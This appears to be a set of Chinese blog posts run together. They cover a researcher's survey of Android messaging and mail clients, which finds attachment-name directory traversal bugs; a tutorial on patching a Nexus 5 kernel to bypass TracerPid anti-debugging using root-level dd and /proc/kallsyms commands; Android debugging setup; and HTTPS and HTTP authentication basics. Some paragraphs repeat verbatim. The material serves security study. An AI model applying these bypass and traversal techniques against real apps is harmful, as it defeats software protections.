一开始,我从Facebook messenger处理未加密信息的方式入手, 没想到, 这个攻击思路颇具挑战性。发送消息的协议(如mobile和 WEB API)有挺多可以用的, 再加上在目标设备接收到消息之前消息还会经过大量处理, 这两点大大提升了找到客户端中可攻击点的难度。因此, 我决定将重点放在加密后的消息上, 因为服务器不能过滤这些邮件。

我没有 Facebook Messenger和 WhatsApp 的源码, 所以我只能用apktool从这些应用的APK文件中提取出smali代码来进行分析。Signal协议的普及简化了找这些应用程序的加密部分的步骤, 因为可以直接在 libsignal 中搜索字符串。之后, 我添加了一个发送消息的函数, 将消息发送到我的服务器上, 该函数还允许在加密之前对消息进行更改的选项, 这样我就可以用格式错误的加密消息来进行测试。

比起上面两个客户端, 测试邮件和SMS客户端会显得稍微容易些。在测试SMS客户端时, 我调用了sendDataMessage API发送原始的SMS 消息。而在测试邮件客户端时, 可以直接使用 SMTP 服务器发送 MIME 邮件。

研究结果提要

有一点需要注意一下, 这些结果已超过一年, 并且通讯app的客户端的代码已有较大改动, 因此现在测试结果可能会有所不同。本文中提及漏洞均已修复。

Messages

Android默认的Messages客户端主要是用 Java写的, 使用 AOSP SMS和MMS来解析消息。因此, Messages几乎不存在内存损坏漏洞。不过Android 会以不同的方式处理一些特殊的 SMS 消息, 解析这些特殊SMS消息有可能会产生漏洞。某些特殊的消息会被被解析为符合可视化语音信箱的OMTP规范的信息, 而处理这些消息的过程以及可视化语音信箱的IMAP功能是 Java 实现的。在过去,Android曾经支持SUPL协议(用于 GPS 星历更新的 SMS 协议)在用户空间中解析, 并且进行解析工作的intent对象是存储在 SMS客户端堆栈中。但是, 现在高通的基带就可以直接处理这些消息, 因此处理过程不会在新的设备上的用户空间中进行。Messages客户端中存在的漏洞的主要是由处理媒体文件的库引发的, 过去大多漏洞都是在这些组件中发现的, 然而与之前相比,最近爆出的这样的漏洞少多了,再加上media是由低特权进程处理的。所以,目前我没有在Messages中发现任何漏洞。

Gmail

Gmail 应用程序可处理由IMAP、POP 或其他服务器发出的 MIME 消息, 这些消息的内容通常直接由非Gmail用户发出, 不过Gmail的邮件服务器还是能过滤掉一些邮件的。Gmail的客户端会调用AOSP 中的实现邮件协议底层API, 这些API和Gmail的客户端都是用Java实现的。在Gmail的客户端中, 我发现了一个由附件上传引发的目录遍历的bug

Outlook

微软 Outlook 客户端的功能和Gmail的差不太多, 同样会处理另一台服务器发送的 MIME消息, 但其所有协议的处理过程都是由客户端中的代码完成的。Outlook主要是用 Java写的, 其中的native的功能和邮件本身没多大关系。和在Gmail中一样,Outlook也存在着相似目录遍历漏洞

Facebook Messenger

与我测试的其他通讯客户端相比, Facebook messenger 的工程量挺大的了, 很多代码很难明确其功能。该应用中包含大量的native库, 几乎每天都要从 Facebook 服务器重新加载数据动态更新。不过, 这些库好像很少直接参与消息的处理。

Facebook Messenger使用一种叫 “消息队列遥测传输 (MQTT)” 的协议与服务器进行通信——MQTT 的底层是开源的Thrift协议。应用中实现该协议的有Java 和 c++ 两种的库, 但好像只用了 Java 的库。我检查了协议相关代码, 没有发现Facebook Messenger的漏洞。

WhatsApp

WhatsApp 使用的分层协议主要是用 Java 实现的,该应用处理语音和视频呼叫请求的消息代码是在native代码中实现的, 我在我写的一篇文章中讨论了相关内容。目前,我没有在 WhatsApp发现任何漏洞。

Telegram

Telegram是开源的, 其 API代码是公开的。其中有相当多的native代码, 但该部分代码主要用于设备到服务器通信, 而不是端对端通信。因此,远程攻击者可用的攻击面几乎都在 Java 中。在Telegram中, 我发现了一个bug, 同样是一个与附件相关的目录遍历漏洞。

Signal

Signal主要由 Java实现, 攻击面相当小。虽然, 它使用的通讯协议有很好的文档记录。但是, 我没有在其中的任何漏洞。

漏洞影响

总的来说, 我在这些客户端中一共发现了三个目录遍历漏洞。这些漏洞惊人地相似, 都与附件名有关,是由附件在下载时允许附件名包含特殊字符造成的。目录遍历问题在 Android 应用中非常常见,造成该漏洞的部分原因应该是 Java API 在文件名方面处理得不够严谨。

不过, 这些漏洞具有局限性。首先, Gmail 和 Outlook 邮件客户端中的bug仅在客户端与非标准电子邮件地址一起使用时才起作用 (即 Gmail 与非 Gmail 帐户一起使用, 或者 Outlook 与非 outlook 电子邮件地址一起使用)。虽然,Gmail 和 Outlook 邮件客户端都经常与非标准电子邮件地址一起使用, 但这些漏洞不会影响每个用户。并且想要利用这些漏洞, 还需要用户进行下载附件的操作。

该漏洞的利用还有一些限制条件。比如, 想要利用这些漏洞不能覆盖存在的文件, 只能往里面写入新文件。因此, 攻击者需要在某个地方放置系统可以处理但不存在的文件。但Android 上的应用程序权限有限, 通常不能在其应用程序目录之外写入。

上面失败之后,又有了一个绝妙的idea进入到我脑子里, 通过利用SQLite 中漏洞实现攻击, 因为Gmail 和 Outlook 都使用 SQLite 数据库来存储数据。SQLite 支持日志记录, 这意味着当 SQLite 数据库发生更改时, 会先写到日志文件里面, 防止在写入过程中系统崩溃或断电时数据库的数据丢失。如果发生系统崩溃或断电的情况, 在下次访问数据库时,就会存在一个保存着更改信息日志文件, 这时SQLite就知道要还原已更改信息。一旦信息还原完成, 日志文件就会被删除。这意味着, 可以通过在同一目录下写入具有特定名称的日志文件来更改SQLite数据库, 也满足此文件在一般情况下不存在的条件。

我尝试过这个方法, 并且更改了数据库, 但只能改变用户在应用中看到的邮件, 不能进行提权或执行非法操作。为了寻找更通用的方法, 我想到了可以从SQLite 解析日志文件或数据库文件的方式下手。

Telegram的漏洞有可能直接利用, 因为恰好有一个默认情况下不存在的配置文件, 如果该配置文件存在的话, Telegram可对处理该配置文件, 并且在处理代码中会引发一个内存损坏漏洞。不过, 我找不到一个可实现该攻击方法的邮件客户端。

上面失败之后,又有了一个绝妙的idea进入到我脑子里, 通过利用SQLite 中漏洞实现攻击, 因为Gmail 和 Outlook 都使用 SQLite 数据库来存储数据。SQLite 支持日志记录, 这意味着当 SQLite 数据库发生更改时, 会先写到日志文件里面, 防止在写入过程中系统崩溃或断电时数据库的数据丢失。如果发生系统崩溃或断电的情况, 在下次访问数据库时,就会存在一个保存着更改信息日志文件, 这时SQLite就知道要还原已更改信息。一旦信息还原完成, 日志文件就会被删除。这意味着, 可以通过在同一目录下写入具有特定名称的日志文件来更改SQLite数据库, 也满足此文件在一般情况下不存在的条件。

我尝试过这个方法, 并且更改了数据库, 但只能改变用户在应用中看到的邮件, 不能进行提权或执行非法操作。为了寻找更通用的方法, 我想到了可以从SQLite 解析日志文件或数据库文件的方式下手。

我用 AFL 对数据库的加载和日志处理进行了Fuzzing测试。我发现四个漏洞, 其中三个我认为是不可利用的, 剩下一个利用的可能性非常小。

我找不到更多的方法来利用目录遍历, 因为不能覆盖 Android 应用程序中的文件, 所以我不认为这些目录遍历漏洞对攻击者来说会特别有价值。

总结

我测试了几个 Android 通讯和邮件客户端,发现了三个目录遍历的漏洞, 但这些漏洞的利用存在一些限制, 现在还不清楚在一般情况下这些漏洞能否被利用。

这些漏洞非常相似, 箭头直指Android中 Java未能正确处理文件路径方面的问题。仅在客户端与非标准电子邮件地址一起使用时, 邮件客户端中的两个漏洞才能被成功利用,尽管这种应用场景非常常见。漏洞的产生可能是邮件客户端的功能测试不足或审查不足造成的。大部分通讯客户端是用 Java 实现的, 这就增加了在应用程序中找到bug的难度, 因为不能利用内存损坏漏洞进行攻击。

这项研究的着重点是未经过中间件处理的邮件和消息, 攻击者可以利用这个bug向接收者发送任意数据, 客户端不会对小心进行过滤且会对数据直接进行处理。虽然这些漏洞利用起来很容易, 但它们只是消息或邮件客户端攻击面中的一部分。在将来,我很可能会投入到通讯客户端的中介服务器的功能的研究中去。

尝试绕过TracerPID反调试

准备工作

Windows下Linux环境准备

安装MinGW

在官网下好MinGW之后, 右键按下图选中要下载的,之后直接在Installation中直接选中Apply change即可。

###
进入安装目录<MinGW安装的地方>\MinGW\bin, 将gcc.exe重命名为cc.exe, 就短暂地这样改就好了,之后用完make工具再改回来。反正我没找到哪里可以改Makefile的内容。不这样修改的话会出现如下报错:

具体原因好像是MinGW的bug, 在Linux环境下一般gcc是等同于cc的, 然而在Windows中却不是这样的, 如果有人找到Makefile的内容可以在哪里改的话, 可以告诉我=v=, 虽然下面并没有可以评论的地方。

注:还有千万别学人家瞎改名, 把mingw-make.exe改成make.exe直接用, 这样也会报错!

准备boot

  1. 提取boot.img
    1
    2
    3
    4
    C:\Users\[your username]>adb shell
    shell@hammerhead:/ $ su
    root@hammerhead:/ # cd /dev/block/platform/msm_sdcc.1/by-name
    root@hammerhead:/dev/block/platform/msm_sdcc.1/by-name # ls -al

输入以上命令即可找到boot的位置。

将boot导出成boot.img。这里一定要注意, 要按照你自己的情况将boot导出, 要修改if=/dev/block/[实际boot文件夹名]

1
dd if=/dev/block/mmcblk0p19 of=/data/local/boot.img

重新开一个命令行页面,或直接exit退出,输入如下指令:
adb root pull /data/local/boot.img boot.img

这里加了一个root是因为之前直接pull的时候说我权限不够。加了root之后发现还是一直失败, 就尝试先将boot.img存到/sdcard/Download下面之后直接用pull指令就成功了。

1
2
3
4
5
root@hammerhead:/sdcard/Download$ su
root@hammerhead:/sdcard/Download# cp /data/local/boot.img /sdcard/Download/boot.img
root@hammerhead:/sdcard/Download# exit
root@hammerhead:/$ exit
C:/Users/[your username]> adb pull /sdcard/Download/boot.img

在哪个目录下pull的,文件就会存在哪个目录下。

  1. 准备好bootimg-tools工具
    git clone https://github.com/pbatard/bootimg-tools.git

下载后打开文件夹到[MinGW安装的目录]]\MinGW\msys\1.0, 双击msys.bat即可进入到一个模拟Linux环境的GUN界面中。进入[bootimg-tools所在文件夹]/bootimg-tools(如果找不到的话可以用everything找找看), 用make指令生成二进制文件。

将boot.img拷到[bootimg-tools所在文件夹]\bootimg-tools\mkbootimg文件夹下, 执行命令./unmkbootimg -i boot.img。(要记录下面输出的一大段字,之后要重新生成boot.img的时候直接复制修改成相应kernel文件名和输出文件名即可)

  1. 提取原始zImage
    复制kernel文件并将其重命名为zImage.gz。用010 Editor工具找到16进制1f 8b 08 00, 删掉查找到的位置的前面的所有数据,使文件变成标准的gzip压缩文件, 保存之后再执行命令gunzip zImage.gz

到这里zImage文件就提取完成了。

修改内核

说明

我这里用的是IDA 7.0

正式开始

用IDA直接打开zImage文件, 并做如下改动

点击OK之后, 继续按照下面修改。

定位函数位置

打开命令提示符, 输入如下指令关闭符号屏蔽, 并查看函数地址, 因为在IDA中查看二进制文件不好直接用函数名进行定位。

1
2
3
4
5
C:\Users\[your username]>adb shell
shell@hammerhead:/ $ su
root@hammerhead:/ # echo 0 > /proc/sys/kernel/kptr_restrict /*关闭符号屏蔽*/
root@hammerhead:/ # cat /proc/kallsyms |grep proc_pid_status
root@hammerhead:/proc # cat /proc/kallsyms |grep __task_pid_nr_ns

函数地址如下:

在IDA中按下快捷键G跳转到c01b0884(__task_pid_nr_ns函数)

之后点击函数名c01b0884(__task_pid_nr_ns函数), 按下快捷键X, 会弹出交叉引用, 在其中查找我们上面找的第二个函数c02ba04c( proc_pid_status)的位置。

好的, 上面选中的并不是我想找的函数TAT。这个时候, 就在IDA界面中按下Shift+F12, 在字符串界面查找TracerPid。找到之后双击查询后的结果。

IDA在解析的时候没有解析好这个文件, 出现了下面的情况。

这时候选中S的位置即0x53按下A, 即可正常解析。如果解析出来还不是下面这种格式,可以鼠标左键选中该字符串的所有内容再按一次A

如果字符串都解析出来之后, 还是识别不出来c02ba04c( proc_pid_status)函数的话, 直接G跳转到c02ba04c, 并按下C, 但是识别的函数也不是正确的。所以这里采用第三篇参考文章的方法, 直接修改TracePid字符串。

修改TracePid字符串

(1) 选中TracePid中的%d

(2) 将TracePid中的%d改为0\t, 选中%d后按下Alt+4

上图中第四行第一个%d就是我们要修改的(TracerPid后的字符串), 十六进制为25 64。点击25前面按下F2, 输入30 09, 再按下F2就修改成功了。

最后保存修改的内容, 按下图点开之后直接点OK即可。

修改kernel文件

在MinGW命令行界面输入命令gzip -n -f -9 zImage, 压缩修改好的文件zImage生成zImage.gz。用010 Editor打开文件kernel, 并在kernel中查找1F 8B 08 00。(下图是覆盖完成的样子)

选中1F 8B 08 00位置之后,点开Edit->Insert/Overwrite->Overwrite File..., 选择zImage.gz文件即可, 这样就不用自己计算文件大小并且直接覆盖了, 完成之后点击保存为新的文件boot-new.img

使用执行unmkbootimg生成的命令, 修改-o参数名(要输出的文件名), 直接拷贝到MinGW命令行中直接执行。

1
2
3
    $ mkbootimg --base 0 --pagesize 2048 --kernel_offset 0x00008000 --ramdisk_offset 0x02900000 --second_offset 0x00f00=
000 --tags_offset 0x02700000 --cmdline 'console=ttyHSL0,115200,n8 androidboot.hardware=hammerhead user_debug=31 max
cpus=2 msm_watchdog_v2.enable=1' --kernel kernel --ramdisk ramdisk.cpio.gz -o boot-new.img

  1. 刷机
    我这里用的是Nexus 5, 直接在关机状态下按音量键-开机键(或输入命令adb reboot bootloader)即可进入fastboot状态。在命令行中输入fastboot flash boot boot-new.img, 之后再输入fastboot reboot即可。

刷完倒是能正常开机了, 但是我手机又要重新root了…..(这个时候有尝试过用SuperSU刷成砖, 还是用magisk+twrp比较好)

参考材料\文章

逆向修改内核,绕过TracerPID反调试
make: cc: Command not found
Android逆向之旅—应用的”反调试”方案解析(附加修改IDA调试端口和修改内核信息)

用Android Studio调试Nexus 5

环境说明

Android 4.4
Windows 10

Nexus 5 准备

  1. 找到版本号, 并在版本号所在位置点击7次, 打开开发者选项。版本号位置:设置(Setting)->关于手机(About phone)->版本号(Build number)

  2. 打开开发者选项(Developer options),勾选USB debugging。

  3. 在命令行中输入adb devices,有个前提就是需要将android_sdk/platform-tools/设为全局变量,或者进入到该文件夹中才能使用adb。

  4. 在网上搜Kingo root, 将Nexus 5 与电脑连接, 将手机root, 提示用Kingo root的时候需要科学上网,不然就不能更新库文件啥的。(其实这一步要不是因为之后怕IDA调试的时候要用到, 不然这一步是可以直接省去的)不过在找root工具的时候,发现root工具好像是利用android系统的漏洞实现提权的,以后有时间好好了解一下。

    Android Studio 准备

  5. 点开Edit Configurations…

  6. 将Target选项改选为USB Device,据说,在windows上需要下载USB drive,不知道是最新版的改了还是我之前就下载了,很奇妙地能直接使用。

  7. 在Android Studio中查看是否已经连接上真机。

  8. 然后点击下图红框框中的按钮, 就可以直接将apk安装到真机上并且直接运行了, 快乐。

HTTP系列(五):安全

如果, 你伴随HTTP系列一路成长, 那么现在的你, 已经可以乘船开启(学习)HTTP安全之旅。我保证,你会很享受这个学习过程。🙂

许多公司都是安全漏洞的受害者, 一些知名的公司, 比如Dropbox(支持文件同步、备份、共享云存储的软件)、Linkedin(领英, 全球最大职业社交网站)、MySpace(社交网站)、Adobe、索尼和福布斯等许多公司遭受过恶意攻击。除此之外, 许多用户也被(恶意攻击公司的事件)危及过, 你, 很可能曾是受害者之一。🙂

你可以在Have I Been Pwned查询你是否是受害者之一。

我的电子邮件地址出现在4个不同的存在安全漏洞的网站上。

Web应用安全涉及面广, 因此, 只有一篇文章难以涵盖所有的知识。不过, 本文可作为(Web应用安全的)启蒙。首先, 让我们来了解一下, HTTP协议如何安全地通信。

本文是HTTP系列的第五部分。

文章概要:

文章涵盖了大量的内容, 不管怎样, 我们从头学起吧!

你真的需要HTTPS吗?

你可能认为, 不是所有的网站都需要安全防护的。如果一个网站不提供敏感信息, 也不能以任何形式上传数据, 仅仅是为了在URL栏上可以显示绿色的标志(网站安全的标志), 就去购买证书和降低访问网站的速度, 这看起来像是想要杀猪却用了宰牛刀。

如果有一个属于你的网站, 你就会知道加载速度——越快越好——对网站来说是至关重要的, 因此, 你不会想给你的网站增加负担。

从HTTP迁移到HTTPS是一个痛苦的过程, 何必为了维护原本就不用被保护的网站遭受这样的痛苦呢?你要考虑的第一件事, 就是出钱买网站的安全——因为购买证书对于一般的小公司或个人来说是一笔很大的费用。

注: 听说已经有机构开始颁发免费证书, 详情可以从十大免费SSL证书:网站免费添加HTTPS加密 中了解

现在就让我们一起来看看, (为安全)惹上这个麻烦到底值不值得。

HTTPS给报文加密并防止中间人攻击

在之前的HTTP系列文章中, 我们谈论了不同的HTTP认证机制及其安全缺陷。然而, 不管是basic认证还是digest认证, 都不能阻止中间人攻击。中间人攻击——中间人, 就是恶意介入用户与网站通信的一批人——的目的是拦截双方通信的原始报文(如果有需要, 还可以修改报文), 通过转发拦截的报文, (这个攻击行为)就能不被发现。

原本参与通信的人可能不能察觉到他们的通信正在被监听。

HTTPS通过加密通信(报文)防止中间人攻击, 但是这并不意味着(双方的)通信不会再被监听, 它仅仅阻止了那些查看和拦截(双方通信)报文的人看报文内容罢了。如果中间人想要将报文解密, 那么他必须要有解密的密钥。之后, 你就会知道, 这个密钥是如何起作用的。

让我们继续往下走。

HTTPS——影响搜索排名的因素

不久之前(2014年), Google让HTTPS成为一个影响(搜索算法)排名的因素

这意味着什么呢?

这意味着, 如果你是一个关心Google搜索排名的网络管理员, 你的网站一定要用HTTPS协议。尽管HTTPS没有内容质量、反向链接这些因素影响力大, 但它还是很重要的。

Google通过这项举措鼓励网站管理员尽快(从HTTP)过渡到HTTPS, 从而提高互联网整体的安全性。

(证书)完全免费

要架设HTTPS网站, 就需要一个证书来解决证书认证的问题。从前, 证书费用高昂, 并且年年需要更新。

如今, 感谢Let’s encrypt的小伙伴们, 让我们付得起买证书的钱(只要0元!)。那些证书是真的完全免费的!

Let’s encrypt的证书安装起来很简单, 这离不开其背后大公司的支持和超棒的社区人员(的努力)。看看Let’s encrypt的赞助商和支持(Let’s encrypt)的公司的名单, 其中可能有你认识的公司。

Let’s encrypt只提供域名认证(DV)证书, 不提供组织认证(OV)证书和扩展验证(EV)证书。DV证书只能用90天, 不过更新起来很容易。

和其他(好的)技术相同, Let’s encrypt证书也有不好的一面。正因为现在证书获取起来很容易, 钓鱼网站也开始利用起这些证书了

关于(传输)速度

一提到HTTPS, 许多人就会认为它给速度带来了了额外的开销。简单地用httpvshttps.com来测试一下。

下面是测试结果:

所以这里发生了什么?为什么HTTPS比HTTP快那么多?这怎么可能!

HTTPS是使用HTTP 2.0协议的必要条件。

如果我们查看网络选项卡, 我们可以看到在使用HTTPS时,图像是通过HTTP 2.0协议加载的, 除此之外, 流量看起来也很不一样。

HTTP 2.0是继HTTP/1.1之后成功的HTTP协议。

在HTTP/1.1的基础之上, HTTP 2.0增加了许多优点:

  • 用二进制(传输)取代文本(传输)
  • 可通过单个TCP连接并行发送多个请求
  • 采用HPACK压缩报文首部减少(流量)开销
  • 使用新的应用层协议协商(Application-Layer Protocol Negotiation,简称ALPN)扩展更快地加密通信。
  • 可降低RTT(round trip times, 往返时延), 让网站加载的速度更快。
  • 还有许多其他的优点

不使用HTTPS?浏览器表示拒绝。

如果你现在还不相信——使用HTTPS是必要的——那么你应该知道, 现在一些浏览器已经开始举起的大旗, 反对(传输)那些未经加密内容。在16年9月份的时候, Google发布博文明确地说明了Chrome浏览器会怎么对待那些不安全的网站。

现在, 让我们来看一下Chrome 56的前后变化吧!

下面是最终的效果。

你现在相信了吧!😀

迁移到HTTPS的过程很复杂

(迁移过程复杂)这是过去遗留下来的问题。因为历史悠久的网站之前用HTTP协议上传了大量的资源, 这让迁移至HTTPS对这些网站来说就更加困难了, 不过托管的平台通常都会让这个过程变得简单一点。

大部分托管平台都提供了自动往HTTPS迁移的方法, 点击选项栏的一个按钮就可以轻松迁移。

如果你打算搭建一个基于HTTPS的网站, 你需要先去确认一下, 托管平台是否有提供往HTTPS迁移的方法。或者, 有一个脚本, 可以通过Let’s encrypt和设置服务器配置让你自己解决迁移的问题。

以上, 都是要迁移到HTTPS的原因。有什么理由不去做呢?

文章写到这里, 希望我已经说服你, 用HTTPS是有必要的, 并且这可以让你有动力将网站往迁移HTTPS迁移, 知道HTTPS是如何工作的。

HTTPS的基本概念

HTTPS(Hypertext Transfer Protocol Secure, 超文本传输安全协议)准确地说, 是客户端和服务器在用HTTP进行通信的基础上, 增加使用安全的SSL/TLS的协议。

在之前的HTTP系列文章中, 我们已经了解过HTTP的工作原理了, 不过SSL/TLS却没有提到。SSL和TLS到底是什么?为什么要使用他们?

下面, 就让我们来了解一下。

SSL vc TLS

SSL(Secure Socket Layer, 安全套接层)和TLS(Transport Layer Security, 传输安全协议)可互换使用, 但实际上, 现在提到SSL可能就是在说TLS。

SSL一开始是由网景(Netscape)公司提出的, 不过它的1.0版本早已停用。SSL的2.0版本和3.0版本在1995、1996年相继现世,这两个版本在出现之后, 即便是之后TLS已经开始推行了, 也沿用了很长一段时间(至少对IT行业来说, 时间挺长的)。直到2014年Poodle攻击发生之后才有所改变。当时服务器支持从TLS降级到SSL,这是Poodle攻击如此成功的主要原因。

SSL一开始是由网景(Netscape)公司提出的, 不过它的1.0版本早已停用。SSL的2.0版本和3.0版本在1995、1996年相继现世, 即便是之后TLS已经开始推行了, 也沿用了很长一段时间(至少对IT行业来说, 时间挺长的)。2014年, 当时服务器支持从TLS降级到SSL, 这是Poodle攻击发生之后如此成功的主要原因。

从此之后, 服务器降级到SSL的功能已经完全消失了

如果你用Qualys SSL Labs tool检查你或其他人的网站, 你可能会看到这个:

你可以看到, 根本不支持SSL 2和3, 而TLS 1.3还未启用。

不过, 因为SSL流行了很长一段时间, 它已经成为了大部分人熟悉的术语, 现在被用于许多方面。 因此, 当你听到有人用SSL代替TLS, 这是个历史遗留问题, 别想少了, 他们真正想说的不是SSL。

因为我们要摆脱那种表达方式, 所以从现在开始, 我会用TLS, 毕竟这个会更加准确。

那么, 客户端和服务器到底是怎样建立安全连接的?

TLS握手

客户端和服务器在进行真正的、加密过的通信之前会有一个”TLS握手”的过程。

下面是TLS的工作原理(非常简单, 后面有附加连接)。

在建立完连接之后, 会开始加密通信。

真的TLS握手机制会比这个图更加复杂, 不过, 只是为了实现HTTPS协议, 你不必了解所有的真实的细节。

如果你想确切了解 TLS 握手的工作原理, 可以在RFC 2246中找找看。

TLS握手的过程中, 发送的证书扮演着什么样的角色?又是怎样颁发的呢?让我们来一起看看吧!

证书(Certificate)及证书认证(CAs, Certification Authorities)

证书是通过 HTTPS 进行安全通信的关键部分, 它由受信任的证书颁发机构颁发。

数字证书让网站的用户在使用网站时可以以安全的方式进行通信。

比如, 在浏览我的文章时, 证书是这个样子的:

如果你用的是Chrome浏览器, 你可以按F12打开开发者工具安全栏查看证书。

我想要点明两件事。在上图的第一个红色框框里, 你可以看到证书的真实目的。它是用来确保你访问的是正确的网站的如果有些网站伪造成你真正想进行通信的网站, 你的浏览器一定会提醒你的。

第二, 浏览器左边最上面的那个绿色的”安全”标志, 只能说明你是在和有证书的网站在进行通信, 并不能证明你是在与原本想通信的网站进行通信。因此, 要小心了。如果恶意攻击者有一个合法的域名及证书的话, 那么他们就能窃取你的身份凭证了。🙂

注: 有些钓鱼网站, 通过用与大型网站相似的域名申请域名证书(比如用Web1.com替代原本的Webone.com), 瞒过了浏览器的法眼, 骗取用户的身份凭证或其他重要信息。

扩展验证证书(EV, Extended validation certificates), 换句话说, 就是用来证明网站是由合法实体(域名持有者或公司)持有的证书。不过, 现在EV证书的可用性还存在着争议, 因为可能不适用于互联网上的特殊用户(比如为经过浏览器安全功能训练的用户)。你可以在URL栏左方看到EV证书持有者的名字。例如, 当你访问twitter.com的时候, 你可以看到:

这意味着, 网站用EV证书来证明其背后的持有者(或公司)。

证书链(certificate chain)

任何一个服务器都可以(向客户端)发送数字证书, 并以此声称它们就是你想要访问的那个服务器。所以, 到底是什么让你使用的浏览器信任服务器返回的证书呢?

这里, 就要引入根证书了。通常, 证书都是链接起来的,
(链接最顶层的)根证书是你的电脑全心全意地信任的一个证书。

我博客的证书链是这个样子的:

最底层的是我的域名证书, 这是由它的上一级的证书签署的, 它的上一级证书是上上级证书签署的…这样循环往复直到最顶层的根证书。

不过, 到底是谁签署的根证书呢?

好吧, 告诉你, 是它自己给自己签署的!😀


颁发给: 域根证书; 颁发者: 域根证书。

你的电脑和浏览器会有一个信任的根证书名单, 这些根证书依靠确认你浏览的域名是通过验证的(来保证服务器端证书是值得信任的)。若证书链由于某些原因断裂了——当时我在我博客上开启了CDN[内容分发网络], 就出现了这样的问题——你的电脑会显示你的网站是”不安全”的。

在键盘上按win+R输入” certmgr.msc”后运行证书管理器, 就可以在windows系统上查询信任的根证书的名单。然后, 你可以在受信任的根证书颁发机构文件夹中找到电脑信任的证书。这个名单适用于Windows系统、IE浏览器、Chrome浏览器和Firefox浏览器, 换言之, 他们自己在管理自己(信任的证书)的名单。

通过交换证书, 客户端和服务器能确认与对方进行通信的人是正确的, 并且可以开始加密传输报文了。

HTTPS的不足

HTTPS有时会让人误以为当前站点是绝对安全的,实际上启用HTTPS机制只是提高了网站对某些认证攻击的防御能力,比如中间人攻击。但实际上,如果网站后端代码有问题,还是会存在一些其它漏洞,除了中间人攻击之外,还有很多种窃取用户信息的方式。

而且,如果HTTPS本身的设置有问题的话,依然可能发生中间人攻击。网站管理员可能会误以为,只要使用了HTTPS,就不存在中间人攻击了。

如果网站登录页面的后端代码存在漏洞,即使使用了HTTPS机制,也还是会导致用户账号密码泄露。所以,根本方法,要解决整个网站的安全问题,而不仅仅是企图依赖于HTTPS。

总结

以上就是HTTP系列的全部了希望你可以从中受益, 或者(通过文章)你理解了你曾经不能理解的概念。

在写文章的过程中, 我获得了喜悦和大量的新知识。希望我的文章也能给你带来快乐(或者至少于都过程是享受的)。🙂

HTTP系列(四):HTTP的基础概念概述

在上一篇文章中, 我们讨论了网站用多种方法去标识浏览网站的用户(身份)。

标识本身仅仅表示一个声明, (用户通过声明)表明自己的身份, 然而除此之外, 并没有其他证据可以证明用户的身份。

认证, 用另一种方式来说, 就是用户证明自身身份的证据, 展示个人ID和输入用户密码是两种证明自身身份常见的方法。

通常情况下,只有通过认证, 网站才能为用户提供敏感资源。

HTTP自身拥有认证机制, 该机制允许服务器(向用户)提出质询并获取其所需的认证信息。你将会在文章中了解到什么是认证和认证是如何进行的。文章中还会涵盖每一种认证方式的优缺点, 并且分析它们是否具有独当一面的能力。(偷偷剧透一下, 它们才没这个能力呢!)

这篇文章是HTTP系列的第四部分。

文章概要:

  • HTTP认证的工作方式
  • Basic认证(基本认证)
  • Digest认证(摘要认证)

在进一步探索什么是HTTP认证机制之前, 我们一起来看看什么是HTTP认证吧!

HTTP认证的工作方式

认证是Web服务器标识用户的一种方式。用户需要摆出证据, 证明其有获得所请求资源的权限。通常, 证明的过程需要一组用户名和密码, 并且, 输入的用户名和密码必须经服务器(验证后)认同是有效的, 然后才由服务器判断该用户是否有获取该资源的权限。

HTTP提供了两种认证协议:

  • Basic认证(基本认证)
  • Digest认证(摘要认证)

在深入了解上述两个协议之前, 我们来大概过一遍基础概念。

质询(challenge)/响应(response)认证框架

质询/响应认证是什么意思?

就是说, 在某个客户端发送请求的时候, 服务器不会立即响应, 而是(向客户端)返回认证要求。该认证要求要求用户通过输入私密信息(用户名及密码)来提供标识身份的证明。

之后, 客户端会重复发送请求来提供(身份)凭证, 如果该身份凭证被服务器认证是有效的, 那么用户可以得到所请求的响应资源。如果(身份)凭证被认为无效, 那么服务器会重新发出质询, 或直接发送(认证信息)错误报文。

注:加入用户名密码错误的话, 服务器会返回401

与认证相关的请求/响应首部字段

WWW-Authenticate响应首部字段, 是服务器用来(向客户端)发出质询的, 该首包含了认证协议和认证域这两部分内容。

在用户输入(身份)凭证之后, (客户端)会重新发送请求报文。然后, 客户端会发送附有Authorization首部字段的请求报文, 该首部字段包含了认证方式(Basic)和一组用户密码。

如果(身份)凭证通过验证, 服务器会返回响应, 并在响应中选用Authentication-Info首部字段附上附加信息——该首部字段是非必需的, 所以可有可无。

安全认证域(Security Realms)

认证域(又称防护域, protection space)在服务器上提供了不同访问权限关联不同资源组的方法

实际上, 认证域的存在就意味着, 用户访问(不同的)资源需要输入不同的身份凭证。

服务器拥有多个认证域。

/admin/statistics/financials.txt -> Realm=”Admin Statistics”
比如, 上面的示例就是存放网站统计信息的认证域——只允许网站管理员访问(其中的资源)。

/images/img1.jpg -> Realm = “Images”
还有存放网站图片的认证域——即使不是管理员, 也能访问和上传图片。

当你尝试访问”financials.txt”时, 服务器会向你发出质询, 并返回如下响应:

1
2
HTTP/1.0 401 Unauthorized
WWW-Authenticate: Basic realm="Admin Statistics"

点击https://tools.ietf.org/html/rfc7235#section-2.2可了解更多认证域。

简单的HTTP认证实例

现在, 让我们用简单的HTTP认证实例为这一小节内容画上一个完美的句号吧!(basic认证会在后文继续讲述)

  1. 用户代理 -> 服务器
    用户请求访问服务器上的图片。

    1
    2
    GET /gallery/personal/images/image1.jpg HTTP/1.1
    Host: www.somedomain.com
  2. 服务器 -> 用户代理
    服务器(向客户端)发送认证要求。

    1
    2
    HTTP/1.1 401 Access Denied
    WWW-Authenticate: Basic realm="gallery"
  3. 用户代理 -> 服务器
    用户通过表单输入标识自己。

    1
    2
    GET /gallery/personal/images/image1.jpg HTTP/1.1
    Authorization: Basic Zm9vOmJhcg==
  4. 服务器 -> 用户代理
    服务器验证(身份)凭证成功后, 发送状态码”200 OK”及图片。

    1
    2
    3
    HTTP/1.1 200 OK
    Content-type: image/jpeg
    ...<image data>

看起来不是那么复杂, 对吗?

现在, 我们来进入更深层次的学习, 学习basic认证。

basic认证

basic认证是最常用且支持面最广的认证协议。从HTTP/1.0开始, basic认证就已经广泛应用了, 每一个客户端都可以使用该认证协议认证。

上面的实例描述的是basic认证过程。basic认证实现和用起来都很简单, 不过, 它存在着安全问题。

进入(basic认证)安全问题的学习之前, 不妨先了解一下basic认证是如何处理(认证过程中传输的)用户和密码的。

basic认证将用户名及密码放在一串字符串中, 两者由符号”:”分割。然后, 用base64编码字符串。不过, 无论字符串的表现形式是什么样, 混乱的字符顺序也不能保证(认证)安全, 因为它可以被轻易地解开。

